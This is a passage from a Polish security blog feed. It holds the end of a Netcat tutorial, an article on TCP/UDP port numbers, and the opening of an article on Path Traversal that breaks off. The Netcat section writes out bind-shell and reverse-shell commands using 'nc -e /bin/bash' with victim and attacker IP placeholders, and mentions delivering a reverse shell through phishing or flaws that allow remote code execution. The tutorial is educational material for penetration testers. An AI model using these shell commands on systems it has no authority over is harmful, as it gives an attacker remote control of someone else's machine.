<p class="wp-block-paragraph">Połącz się z serwerem jako klient:</p>



<pre class="wp-block-code"><code class="">nc -u &lt;adres IP serwera&gt; &lt;numer portu&gt;</code></pre>



<h2 class="wp-block-heading">Transfer plików</h2>



<p class="wp-block-paragraph">Możemy używać Netcata do przesyłania danych pomiędzy hostami. W tym celu trzeba skonfigurować maszynę wysyłającą oraz odbierającą dane.</p>



<p class="wp-block-paragraph">Na maszynie odbierającej dane wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc -l -p &lt;numer portu&gt; &gt; otrzymane_dane.txt</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li> <strong><code>-l</code></strong> &#8211; włącza tryb nasłuchu (listening).</li>



<li><strong><code>-p</code></strong> &#8211; określa numer portu (np. 5555).</li>



<li><strong><code>&gt;</code></strong> &#8211; przekierowuje odebrane dane do pliku <code>otrzymane_dane.txt</code>.</li>
</ul>



<p class="wp-block-paragraph">Na maszynie wysyłającej, wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP odbiorcy&gt; &lt;numer portu&gt; &lt; plik_do_wyslania.txt</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li><strong><code>&lt;adres IP odbiorcy&gt;</code></strong> &#8211; adres IP maszyny odbierającej plik.</li>



<li><strong><code>&lt;numer portu&gt;</code></strong> &#8211; port, na którym nasłuchuje maszyna odbierająca.</li>



<li><strong><code>&lt;</code></strong> &#8211; wskazuje, że dane do przesłania znajdują się w pliku <code>plik_do_wyslania.txt</code>.</li>
</ul>



<p class="wp-block-paragraph">To polecenie nawiązuje połączenie z maszyną odbiorczą i wysyła plik <code>plik_do_wyslania.txt</code>.</p>



<h2 class="wp-block-heading">Backdoor i zdalny dostęp</h2>



<p class="wp-block-paragraph">Netcat może być użyty do utworzenia backdoora, umożliwiającego atakującemu zdalny dostęp do systemu ofiary. </p>



<p class="has-white-color has-vivid-red-background-color has-text-color has-background has-link-color wp-elements-7 wp-block-paragraph"><strong>Uwaga:</strong> Tworzenie backdoorów i uzyskiwanie zdalnego dostępu do systemów bez zgody ich właścicieli jest nieetyczne i nielegalne. Opisane w artykule techniki powinny być używane wyłącznie w celach edukacyjnych lub w ramach testów penetracyjnych przeprowadzanych za zgodą właściciela systemu. </p>



<p class="wp-block-paragraph">Na komputerze ofiary włącz tryb nasłuchu:</p>



<pre class="wp-block-code"><code class="">nc -lp 5555 -e /bin/bash</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li> <strong><code>-l</code></strong> &#8211; włącza tryb nasłuchu (listening).</li>



<li><strong><code>-p</code></strong> &#8211; określa numer portu (np. 5555).</li>



<li><code><strong>-e</strong> <strong>/bin/bash </strong></code> &#8211; po nawiązaniu połączenia klient uzyska dostęp do powłoki Bash na maszynie, która uruchomiła Netcat.</li>
</ul>



<p class="has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color wp-elements-8 wp-block-paragraph">Zwróć uwagę na to, że flagi można zapisywać łącznie lub osobno. Równoważny będzie zapis <code>-lp</code> oraz <code>-l -p</code>.</p>



<p class="wp-block-paragraph">Na komputerze atakującego wykonaj poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP ofiary> 5555</code></pre>



<ul class="wp-block-list">
<li><code><strong>&lt;adres IP ofiary></strong></code> &#8211; adres IP maszyny nasłuchującej.</li>



<li><code><strong>5555</strong></code> &#8211; numer portu na którym nasłuchuje komputer ofiary, w tym przypadku jest to port 5555.</li>
</ul>



<p class="wp-block-paragraph">Powyższe polecenie jest używane do nawiązania połączenia techniką bind shell. W przypadku <strong>bind shell</strong>, komputer ofiary uruchamia Netcat w trybie nasłuchu na określonym porcie (tutaj 5555) i czeka na połączenia przychodzące. Kiedy atakujący połączy się z tym portem, zyskuje dostęp do powłoki systemowej ofiary. Problemem jest to, że firewall może blokować połączenia przychodzące. Dlatego z punktu widzenia atakującego dużo lepszą techniką jest reverse shell.</p>



<p class="wp-block-paragraph"><strong>Reverse shell</strong> działa inaczej. W tym przypadku to komputer ofiary inicjuje połączenie z komputerem atakującego. Ofiara uruchamia Netcat, który łączy się z adresem IP atakującego na określonym porcie (np. 5555), a atakujący otrzymuje dostęp do powłoki ofiary. </p>



<p class="wp-block-paragraph">Na komputerze atakującego włącz tryb nasłuchiwania:</p>



<pre class="wp-block-code"><code class="">nc -lp 5555</code></pre>



<p class="wp-block-paragraph">Na komputerze ofiary wykonaj poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP atakującego&gt; 5555 -e /bin/bash</code></pre>



<p class="wp-block-paragraph">Atakujący może wykonać reverse shell na systemie ofiary bez fizycznego dostępu, wykorzystując różne luki w zabezpieczeniach. Jednym ze sposobów jest wykorzystanie luk w aplikacjach internetowych, które pozwalają na zdalne wykonanie kodu. Jeśli aplikacja ma nieprawidłową kontrolę nad danymi wejściowymi, atakujący może wysłać złośliwy kod, który uruchomi reverse shell na serwerze ofiary. Kolejną metodą są ataki phishingowe, gdzie atakujący wysyła e-maile lub tworzy fałszywe strony internetowe, które mają na celu skłonienie użytkownika do kliknięcia w złośliwy link lub pobrania załącznika zawierającego złośliwy kod. Atakujący może też manipulować ofiarą w taki sposób, by ta sama uruchomiła złośliwy kod. </p>



<h2 class="wp-block-heading">Chatowanie za pomocą Netcata</h2>



<p class="wp-block-paragraph">Netcat umożliwia prowadzenie prostych rozmów tekstowych (chatów) w czasie rzeczywistym pomiędzy dwoma komputerami w tej samej sieci lub na odległych maszynach. Proces ten polega na skonfigurowaniu jednego komputera jako serwera nasłuchującego, a drugiego jako klienta, który się z nim łączy.</p>



<p class="wp-block-paragraph">Warto pamiętać o tym, że rozmowy przez Netcat są przesyłane w formie zwykłego tekstu i nie są domyślnie szyfrowane, przez co dane mogą zostać przechwycone. </p>



<p class="wp-block-paragraph">Poniżej przykład wysyłanych wiadomości pomiędzy dwiema maszynami w sieci lokalnej, które są uruchomione na VMware. </p>



<p class="wp-block-paragraph">Włączam serwer nasłuchujący na maszynie o IP 192.168.128.131 na porcie 5555:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest.png"><img loading="lazy" decoding="async" width="361" height="137" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest.png" alt="Netcat co to jest" class="wp-image-16107" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest.png 361w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest-300x114.png 300w" sizes="auto, (max-width: 361px) 100vw, 361px" data-mwl-img-id="16107" /></a></figure>



<p class="wp-block-paragraph">Na drugiej maszynie nawiązuję połączenie z serwerem nasłuchującym:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy.png"><img loading="lazy" decoding="async" width="348" height="135" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy.png" alt="Netcat serwer nasłuchujący" class="wp-image-16110" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy.png 348w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy-300x116.png 300w" sizes="auto, (max-width: 348px) 100vw, 348px" data-mwl-img-id="16110" /></a></figure>



<p class="wp-block-paragraph">Teraz mogę wysłać wiadomość tekstową:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac.png"><img loading="lazy" decoding="async" width="383" height="161" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac.png" alt="Netcat jak hackować" class="wp-image-16109" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac.png 383w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac-300x126.png 300w" sizes="auto, (max-width: 383px) 100vw, 383px" data-mwl-img-id="16109" /></a></figure>



<p class="wp-block-paragraph">Wiadomość pokazała się na serwerze nasłuchującym. Wysyłam odpowiedź:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow.png"><img loading="lazy" decoding="async" width="366" height="170" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow.png" alt="Netcat transfer plików" class="wp-image-16111" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow.png 366w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow-300x139.png 300w" sizes="auto, (max-width: 366px) 100vw, 366px" data-mwl-img-id="16111" /></a></figure>



<p class="wp-block-paragraph">Odpowiedź pojawiła się na drugiej maszynie:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest.png"><img loading="lazy" decoding="async" width="354" height="165" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest.png" alt="Netcat co to jest" class="wp-image-16108" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest.png 354w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest-300x140.png 300w" sizes="auto, (max-width: 354px) 100vw, 354px" data-mwl-img-id="16108" /></a></figure>



<h2 class="wp-block-heading">Skanowanie portów za pomocą Netcata</h2>



<p class="wp-block-paragraph">Netcat, pomimo że nie jest specjalistycznym narzędziem do skanowania portów, może być używany do tego celu.</p>



<p class="wp-block-paragraph">Poniżej polecenie wykonujące skanowanie portów:</p>



<pre class="wp-block-code"><code class="">nc -v -n &lt;adres IP> 1-100</code></pre>



<ul class="wp-block-list">
<li><strong><code>-v</code></strong> &#8211; tryb szczegółowy, wyświetla więcej informacji o połączeniach.</li>



<li><strong><code>-n</code></strong> &#8211; wymusza używanie bezpośrednich adresów IP zamiast nazw domenowych. Netcat nie będzie próbował rozwiązywać adresu IP na nazwę hosta.</li>



<li><strong><code>&lt;adres IP></code></strong> &#8211; określa adres IP zdalnego hosta, który jest sprawdzany pod kątem otwartych portów.</li>



<li><strong><code>1-100</code></strong> &#8211; określa zakres portów, które mają zostać zeskanowane. W powyższym przypadku Netcat będzie sprawdzać porty od 1 do 100.</li>
</ul>



<h2 class="wp-block-heading">Podsumowanie</h2>



<p class="wp-block-paragraph">Największą zaletą Netcata jest możliwość obsługi zarówno protokołów TCP jak i UDP, co czyni go niezwykle elastycznym narzędziem do różnych zadań sieciowych. Netcat jest bardzo prosty w obsłudze i można go szybko uruchomić. Dodatkowo, możliwość tworzenia prostych serwerów sprawia, że narzędzie to znajduje zastosowanie w testach penetracyjnych i diagnozowaniu problemów z siecią.</p>



<p class="wp-block-paragraph">Jednakże Netcat nie jest pozbawiony wad. Brak natywnego szyfrowania komunikacji sprawia, że dane przesyłane za jego pomocą są podatne na podsłuch, co może stanowić poważne zagrożenie w kontekście bezpieczeństwa. Choć istnieją modyfikacje Netcata, które dodają szyfrowanie, nie są one w standardzie.</p>
<p>Artykuł <a href="https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/">Netcat &#8211; czym jest i jak go używać</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Port protokołu &#8211; co to jest?</title>
		<link>https://pentestuj.pl/port-protokolu-co-to-jest/</link>
					<comments>https://pentestuj.pl/port-protokolu-co-to-jest/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 04 Apr 2025 06:00:25 +0000</pubDate>
				<category><![CDATA[Bezpieczeństwo sieci]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15824</guid>

					<description><![CDATA[<p>Internet jest to złożona sieć wzajemnie powiązanych ze sobą urządzeń i systemów. Porty protokołów odgrywają kluczową rolę w organizacji tego chaosu. Dzięki nim możliwe jest precyzyjne zidentyfikowanie konkretnej usługi lub aplikacji, a co za tym idzie, my jako użytkownicy możemy korzystać jednocześnie z kilku różnych aplikacji na jednym urządzeniu. Ta funkcjonalność jest fundamentem efektywnego działania [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/port-protokolu-co-to-jest/">Port protokołu &#8211; co to jest?</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Internet jest to złożona sieć wzajemnie powiązanych ze sobą urządzeń i systemów. Porty protokołów odgrywają kluczową rolę w organizacji tego chaosu. Dzięki nim możliwe jest precyzyjne zidentyfikowanie konkretnej usługi lub aplikacji, a co za tym idzie, my jako użytkownicy możemy korzystać jednocześnie z kilku różnych aplikacji na jednym urządzeniu. Ta funkcjonalność jest fundamentem efektywnego działania współczesnych sieci. W artykule tym omówię czym jest port protokołu i jaką odgrywa rolę w warstwie transportowej. Dowiesz się w jaki sposób zostały podzielone numery portów, a także jakie porty zostały domyślnie przypisane do niektórych protokołów warstwy aplikacji. </p>



<h2 class="wp-block-heading">Kilka słów o warstwie transportowej</h2>



<p class="wp-block-paragraph">W procesie komunikacji pomiędzy urządzeniami w sieci, kluczową rolę pełni warstwa transportowa. Do jej głównych zadań należy nawiązanie połączenia, a także dalsza obsługa sesji pomiędzy hostami. Ponadto warstwa ta odpowiedzialna jest za segmentację danych (podział na mniejsze części), identyfikowanie poszczególnych aplikacji, a w razie utraty danych, retransmisja. Warstwa transportowa kontroluje także przepływ danych i na bieżąco śledzi połączenia pomiędzy hostami.</p>



<p class="wp-block-paragraph">To właśnie dzięki śledzeniu połączeń można wysyłać i odbierać dane pochodzące z różnych aplikacji na jednym urządzeniu. Na jednym komputerze w tym samym momencie możesz odbierać pocztę, mieć włączonych kilka stron internetowych, rozmawiać przez komunikator, a także przesyłać dane przez FTP. Jednak nie byłoby to możliwe także bez segmentacji danych. </p>



<p class="wp-block-paragraph">Warstwa transportowa dzieli przesyłane dane (pochodzące od różnych aplikacji) na mniejsze fragmenty i wysyła je naprzemiennie. Dzięki temu mniejsze porcje danych mogą na bieżąco być odbierane przez kilka aplikacji jednocześnie. Jeśli nie byłaby stosowana segmentacja i zostałaby wysłana na raz duża porcja danych pochodząca od jednej aplikacji, wtedy pozostałe aplikacje musiały czekać w kolejce. W takiej sytuacji nie byłoby możliwe efektywne korzystanie z kilku aplikacji na raz.</p>



<p class="wp-block-paragraph">Teraz jak już wiemy jak działa warstwa transportowa, przejdźmy do definicji portu protokołu.</p>



<h2 class="wp-block-heading">Definicja portu protokołu</h2>



<p class="wp-block-paragraph">Warstwa transportowa musi dostarczyć przesyłane dane do właściwej aplikacji. W tym właśnie pomagają porty protokołu. Numer portu jest to identyfikator liczbowy, który umożliwia rozpoznanie konkretnej usługi lub aplikacji działającej na urządzeniu. Jest to po prostu identyfikator danej usługi.</p>



<p class="wp-block-paragraph">Porty współpracują z adresami IP, tworząc w ten sposób tzw. gniazda sieciowe (ang. <em>sockets</em>), które są wykorzystywane do przesyłania danych. Numer protokołu stanowi jeden z parametrów gniazda. </p>



<p class="wp-block-paragraph">Gniazdo jest to dwukierunkowy punkt końcowy połączenia. Dwukierunkowość oznacza możliwość wysyłania oraz odbierania danych. Aplikacje wykorzystują gniazdo do komunikowania się przez sieć.  <strong>Przykładowo adres IP identyfikuje urządzenie w sieci, np. 192.168.1.1, a port  identyfikuje usługę na tym urządzeniu, np. port 80 dla HTTP (serwer WWW).</strong></p>



<h2 class="wp-block-heading">Jakie są numery portów</h2>



<p class="wp-block-paragraph">Organizacja IANA (ang. Internet Assigned Numbers Authority) zajmuje się zarządzaniem domenami, a także przydzielaniem adresów IP oraz numerów portów. Numery portów to wartości z zakresu od <strong>0</strong> do <strong>65535</strong>, które zostały podzielone na trzy kategorie.</p>



<h3 class="wp-block-heading">Porty ogólnie znane (ang. well-known ports)</h3>



<p class="wp-block-paragraph">Ogólnie znane porty to zakres numerów portów w protokole TCP/UDP, które zostały zarezerwowane dla określonych usług i aplikacji serwerowych. Obejmują zakres od <strong>0 do 1023</strong>.</p>



<p class="wp-block-paragraph">Te porty są używane przez popularne protokoły komunikacyjne, takie jak np. HTTP, FTP, czy SMTP. Każdy port odpowiada konkretnej usłudze, co ułatwia komunikację pomiędzy urządzeniami w sieci.</p>



<p class="wp-block-paragraph">Poniżej znajduje się lista wybranych ogólnie znanych portów, które są przypisane do danych protokołów warstwy aplikacji:</p>


<div class="kb-table-container kb-table-container15824_0e7e65-3f wp-block-kadence-table"><table class="kb-table kb-table15824_0e7e65-3f">
<tr class="kb-table-row kb-table-row15824_35df6d-cb">
<th  scope="col" class="kb-table-data kb-table-data15824_a59130-66">

<p class="wp-block-paragraph">Numer protokołu</p>

</th>

<th  scope="col" class="kb-table-data kb-table-data15824_95d5db-d0">

<p class="wp-block-paragraph">Protokół warstwy transportowej</p>

</th>

<th  scope="col" class="kb-table-data kb-table-data15824_de5e7f-5d">

<p class="wp-block-paragraph">Protokół warstwy aplikacji</p>

</th>
</tr>

<tr class="kb-table-row kb-table-row15824_9aa82d-9e">
<td  class="kb-table-data kb-table-data15824_814a01-cf">

<p class="wp-block-paragraph">80</p>

</td>

<td  class="kb-table-data kb-table-data15824_6cb5f5-ad">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_9d436f-77">

<p class="wp-block-paragraph">HTTP (HyperText Transfer Protocol)</p>



<p class="wp-block-paragraph">Serwer proxy najczęściej przypisany jest do portu 8080.</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_198ba5-4b">
<td  class="kb-table-data kb-table-data15824_3650b4-7c">

<p class="wp-block-paragraph">443</p>

</td>

<td  class="kb-table-data kb-table-data15824_5c88ba-fb">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_c837d0-70">

<p class="wp-block-paragraph">HTTPS (HTTP Secure)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_e3b944-e9">
<td  class="kb-table-data kb-table-data15824_0234c2-90">

<p class="wp-block-paragraph">20, 21</p>

</td>

<td  class="kb-table-data kb-table-data15824_02f534-89">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_99c1b1-0b">

<p class="wp-block-paragraph">FTP (File Transfer Protocol), port 20 &#8211; transfer plików, port 21 &#8211; transfer poleceń</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_e40c1f-b7">
<td  class="kb-table-data kb-table-data15824_ef1007-88">

<p class="wp-block-paragraph">22</p>

</td>

<td  class="kb-table-data kb-table-data15824_2c64c1-e3">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_49a9d4-9e">

<p class="wp-block-paragraph">SSH (Secure Shell)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_a4e40e-59">
<td  class="kb-table-data kb-table-data15824_b99c00-3a">

<p class="wp-block-paragraph">110</p>

</td>

<td  class="kb-table-data kb-table-data15824_a70a62-54">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_f156d1-24">

<p class="wp-block-paragraph">POP3 (Post Office Protocol v3)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_87fc3b-46">
<td  class="kb-table-data kb-table-data15824_a8a5cb-7e">

<p class="wp-block-paragraph">995</p>

</td>

<td  class="kb-table-data kb-table-data15824_112e3b-b0">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_58577d-83">

<p class="wp-block-paragraph">Szyfrowany POP3 (Post Office Protocol v3)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_025aa3-07">
<td  class="kb-table-data kb-table-data15824_3aab66-bc">

<p class="wp-block-paragraph">143</p>

</td>

<td  class="kb-table-data kb-table-data15824_b03c45-2c">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_43a984-03">

<p class="wp-block-paragraph">IMAP (Internet Message Access Protocol)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_b3f3a9-95">
<td  class="kb-table-data kb-table-data15824_f7d648-53">

<p class="wp-block-paragraph">993</p>

</td>

<td  class="kb-table-data kb-table-data15824_7bdfdf-7f">

<p class="wp-block-paragraph">TCP </p>

</td>

<td  class="kb-table-data kb-table-data15824_eefdd4-07">

<p class="wp-block-paragraph">Szyfrowany IMAP (Internet Message Access Protocol)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_0c13b2-19">
<td  class="kb-table-data kb-table-data15824_594f36-13">

<p class="wp-block-paragraph">25</p>

</td>

<td  class="kb-table-data kb-table-data15824_16e4a4-2d">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_1a6a26-b6">

<p class="wp-block-paragraph">SMTP (Simple Mail Transfer Protocol)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_1c424a-27">
<td  class="kb-table-data kb-table-data15824_c841c3-ee">

<p class="wp-block-paragraph">465 lub 587</p>

</td>

<td  class="kb-table-data kb-table-data15824_0fda87-3c">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_ecfb83-01">

<p class="wp-block-paragraph">Szyfrowany SMTP (Simple Mail Transfer Protocol)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_bc7a55-13">
<td  class="kb-table-data kb-table-data15824_68c8af-f4">

<p class="wp-block-paragraph">23</p>

</td>

<td  class="kb-table-data kb-table-data15824_def735-98">

<p class="wp-block-paragraph">TCP</p>

</td>

<td  class="kb-table-data kb-table-data15824_b34baa-60">

<p class="wp-block-paragraph">TELNET</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_b30d49-c1">
<td  class="kb-table-data kb-table-data15824_4db821-73">

<p class="wp-block-paragraph">53</p>

</td>

<td  class="kb-table-data kb-table-data15824_6d3080-8f">

<p class="wp-block-paragraph">TCP lub UDP</p>

</td>

<td  class="kb-table-data kb-table-data15824_cb77df-88">

<p class="wp-block-paragraph">DNS (Domain Name System)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_c10c90-1e">
<td  class="kb-table-data kb-table-data15824_e04bbc-21">

<p class="wp-block-paragraph">67, 68</p>

</td>

<td  class="kb-table-data kb-table-data15824_38eb20-8f">

<p class="wp-block-paragraph">UDP</p>

</td>

<td  class="kb-table-data kb-table-data15824_b6b3ac-1b">

<p class="wp-block-paragraph">DHCP (Dynamic Host Configuration Protocol)<br> (dla IPv6<strong> 546</strong> i <strong>547</strong>)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_e1612f-9c">
<td  class="kb-table-data kb-table-data15824_ae19d8-29">

<p class="wp-block-paragraph">161</p>

</td>

<td  class="kb-table-data kb-table-data15824_b2332a-07">

<p class="wp-block-paragraph">UDP</p>

</td>

<td  class="kb-table-data kb-table-data15824_df37b6-de">

<p class="wp-block-paragraph">SNMP (Simple Network Management Protocol)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_ca704a-ea">
<td  class="kb-table-data kb-table-data15824_3c720c-2b">

<p class="wp-block-paragraph">389</p>

</td>

<td  class="kb-table-data kb-table-data15824_d26aa8-09">

<p class="wp-block-paragraph">TCP lub UDP</p>

</td>

<td  class="kb-table-data kb-table-data15824_ebfc6d-3f">

<p class="wp-block-paragraph">LDAP (Lightweight Directory Access Protocol)</p>

</td>
</tr>

<tr class="kb-table-row kb-table-row15824_ad6214-dd">
<td  class="kb-table-data kb-table-data15824_474fc6-db">

<p class="wp-block-paragraph">639</p>

</td>

<td  class="kb-table-data kb-table-data15824_d1f2a7-4f">

<p class="wp-block-paragraph">TCP lub UDP</p>

</td>

<td  class="kb-table-data kb-table-data15824_d8992f-ce">

<p class="wp-block-paragraph">Szyfrowany LDAP (Lightweight Directory Access Protocol)</p>

</td>
</tr>
</table></div>


<p class="has-white-color has-vivid-green-cyan-background-color has-text-color has-background has-link-color wp-elements-10 wp-block-paragraph">UWAGA!<br>Administrator danego systemu może zmienić numer portu dla danej usługi. Praktyka ta jest stosowana w celu poprawienia bezpieczeństwa. W ten sposób można uniknąć ataków skierowanych na domyślne numery portów protokołów.</p>



<h3 class="wp-block-heading">Porty zarejestrowane (ang. registered ports)</h3>



<p class="wp-block-paragraph">Pula z zakresu 1024 &#8211; 49151 obejmuje porty zarezerwowane dla usług i aplikacji, które są zainstalowane na komputerze użytkownika. </p>



<h3 class="wp-block-heading">Porty dynamiczne/prywatne (ang. dynamic/private ports)</h3>



<p class="wp-block-paragraph">Kolejna grupa portów obejmuje zakres 49152 &#8211; 65535. Numery te są używane dynamicznie przez aplikacje klienckie do tworzenia tymczasowych połączeń.</p>



<h2 class="wp-block-heading">Czy różne usługi mogą używać tego samego numeru portu?</h2>



<p class="wp-block-paragraph">Przeważnie jeden numer portu jest używany przez jedną usługę. Jednak zdarzają się wyjątki. Czasami dwie różne usługi mogą jednocześnie korzystać z tego samego numeru portu. W takim przypadku każda z usług musi działać na innym protokole warstwy transportowej (TCP lub UDP).</p>



<p class="wp-block-paragraph">Niektóre usługi wykorzystują ten sam port i protokoły, co jest raczej rzadkością. Przykładem jest DNS, który korzysta z portu 53 za pomocą TCP oraz UDP.</p>



<p class="wp-block-paragraph">Czasami jedna usługa korzysta z dwóch różnych portów, przy czym każdy z nich pełni inną funkcję. Przykładowo protokół FTP używa portu 20 do transferu plików, a portu 21 do transferu poleceń.</p>
<p>Artykuł <a href="https://pentestuj.pl/port-protokolu-co-to-jest/">Port protokołu &#8211; co to jest?</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/port-protokolu-co-to-jest/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności?</title>
		<link>https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/</link>
					<comments>https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Thu, 23 Jan 2025 07:00:00 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15138</guid>

					<description><![CDATA[<p>Path Traversal, znana również jako directory traversal, dot dot slash lub backtracking to rodzaj podatności, który może występować w różnych systemach i aplikacjach, gdzie użytkownik ma możliwość manipulowania ścieżkami do plików lub katalogów w celu uzyskania nieautoryzowanego dostępu do danych do których nie powinien mieć wglądu. Tego typu podatność może prowadzić do wycieku kodu aplikacji, [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/">Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności?</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Path Traversal,</strong> znana również jako <strong>directory traversal</strong>, <strong>dot dot slash </strong>lub <strong>backtracking</strong> to rodzaj podatności, który może występować w różnych systemach i aplikacjach, gdzie użytkownik ma możliwość manipulowania ścieżkami do plików lub katalogów w celu uzyskania nieautoryzowanego dostępu do danych do których nie powinien mieć wglądu. Tego typu podatność może prowadzić do wycieku kodu aplikacji, danych konfiguracyjnych serwera, danych użytkowników, a także innych wrażliwych informacji. Przyczyną powstawania tej luki jest niewystarczająca walidacja danych wejściowych, a także źle ustawione uprawnienia do plików i katalogów. Path Traversal może stanowić podstawę dalszych ataków, np. File Inclusion (LFI lub RFI).</p>



<p class="wp-block-paragraph"><a href="https://pentestuj.pl/path-traversal-web-security-academy-portswigger" target="_blank" rel="noreferrer noopener">Pod tym linkiem </a>znajdziesz rozwiązania zadań wraz z omówieniem z platformy <a href="https://portswigger.net/web-security/all-labs#path-traversal" target="_blank" rel="noreferrer noopener nofollow">Web Security Academy</a>. Po przeczytaniu artykułu zachęcam do utrwalenia swojej wiedzy poprzez rozwiązanie tych zadań 🙂</p>



<h2 class="wp-block-heading">Jak działa Path Traversal</h2>



<p class="wp-block-paragraph">Podatność Path Traversal pojawia się wtedy, gdy aplikacja wykorzystuje dane kontrolowane przez użytkownika bez odpowiedniej walidacji. W takiej sytuacji atakujący może odpowiednio zmodyfikować zapytanie, aby uzyskać dostęp do plików i wrażliwych informacji, do których normalnie nie powinien mieć dostępu. Ważne jest również to jakie są ustawione uprawnienia do plików i katalogów na serwerze. Jeśli są zbyt wysokie, wtedy atakujący może poszerzyć swój wektor ataku. Path Traversal bardzo często jest furtką do dalszych ataków takich jak LFI (Local File Inclusion) oraz RFI (Remote File Inclusion). Obie podatności zostaną omówione w dalszej części artykułu.</p>



<p class="wp-block-paragraph">Path Traversal może występować bezpośrednio w adresie URL, a także w parametrach przekazywanych do aplikacji lub w nagłówkach. Luka może wystąpić w wielu miejscach aplikacji, jednak w szczególności warto testować miejsca w których pliki są pobierane lub wgrywane na serwer, a także wszędzie tam gdzie są wczytywane style lub szablony. <strong>Warto podkreślić, że podatność Path Traversal nie dotyczy tylko aplikacji webowych.</strong></p>



<p class="wp-block-paragraph">Przykładowo mamy aplikację webową, która wyświetla awatar danego użytkownika. Aplikacja wykorzystuje parametr w adresie URL, aby określić które zdjęcie powinno zostać wyświetlone.</p>



<p class="wp-block-paragraph">Przykładowy adres do grafiki z awatarem ma postać:</p>



